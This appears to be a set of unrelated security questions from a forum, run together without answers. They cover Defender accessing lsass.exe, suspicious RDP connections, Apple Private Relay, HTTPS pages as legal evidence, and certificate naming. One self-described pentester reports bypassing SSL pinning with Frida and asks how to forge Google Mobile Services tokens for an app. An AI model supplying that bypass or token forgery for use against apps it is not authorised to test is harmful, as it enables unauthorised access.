I detected an activity last week on our SIEM system. The MsMpEng.exe which belongs to Windows Defender access lsass.exe. I search it on the net for learn is it a normal acitivty or is it anormal then there is no information about it. Activity's event ID is 4656. Anyone can explain it for me? Why windows defender access lsass.exe. Is it normal or anormal activity?
I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test. However, this endpoint need a tokenID (ex. eyJ[...].eyJ[...]) and I don't know why, even after doing SSL unpinning (with more than one Frida script), I'm unable to intercept the request that is used to generate the token. After some static analysis, I realized that the token is being requested by com.android.gms (Google Mobile Service). I managed to find the gcm_defaultSenderId, google_api_key and google_app_id. However, since the apk is obfuscated, I didn't manage to discover how to craft the request. Do any of you know if there is a way to craft gms tokens using a script?
If i run netstat -an on my Windows Server 2019 it shows multiple connections on Port 3389 (which is RDP) The first IP Adress is mine, however i cant explain the other two connections. They both change their IP-Adress about every minute and if i google them, they ofthen have a negative reputation like being blacklisted or being a proxy. Is my server compromised? If so, i really canot explain it. The Server was setup yesterday and i literally didnt do anything except installing the recommend windows upgrades and downloading the Firefox Browser. edit: HERGESTELLT means ESTABLISHED
Is there a security risk to disabling the windows user account password, since my PC is already unlocked with a complex pin at boot time? I have my PC configured with sleep disabled. I'm running windows 10 pro. For example, is windows network security reduced?
Let's say that Malory owns an official website that now says that her birthday is on 25th of July. I can connect to that website by https, and SSL sertificate of the connection says "issued to Malory". Now I want to download that page as an evidence, that Malory published it. I know that she will later remove or change the information on the website, and I want to catch her on doing this. Can I extract some sort of certificate from the HTTPS connection to say: "Dear court, Malory said that her birthday is on 25th of July, and I can prove it by presenting this HTML file with this HTTPS signature (or something like this)"? Is there a convenient way to do it? I tried button "download complete page" in chromium, but it seems that it doesn't save any sort of signatures.
So far I have owned a Google profile since 2016, and I had no problems until now when I began detecting unusual/bizarre messages in my 'Spam' folder. This suspects me that operating a social networking account (e.g., Twitter), which I did back in August, also puts your email open to spam. Earlier today I got a weird message in my 'Spam' folder from some stranger with the heading 'BUSINESS INQUIRIES', along with an attachment leading to a Word document. Since I hardly knew Word attachments might contain Macros, I simply deleted it from my Gmail. I have had similar emails, some which have links or otherwise nothing. For most of us it's hard to tell if each social media platform's user database is not completely secure, i.e., is easily accessible by the general public so that anyone can read and use that information, but not everyone (especially experts) is aware of this since it's basically a myth. However if I knew what would happen after joining a social media platform and were to run into issues related to spam/phishing, then I probably should bring the attention to all.
If I turn on Apple’s private relay function on my iPad, will the TLS handshake still be with the website I am visiting or with the ingress proxy by Apple? Or in other words, can Apple or the exgress proxy read my internet traffic with this function enabled?
Are we inviting any problems if we add localhost and 127.0.0.1 to the subject alternative name field of an x509 certificate? We are still trusting the appropriate root CA, but relaxing the rules of the name just a bit.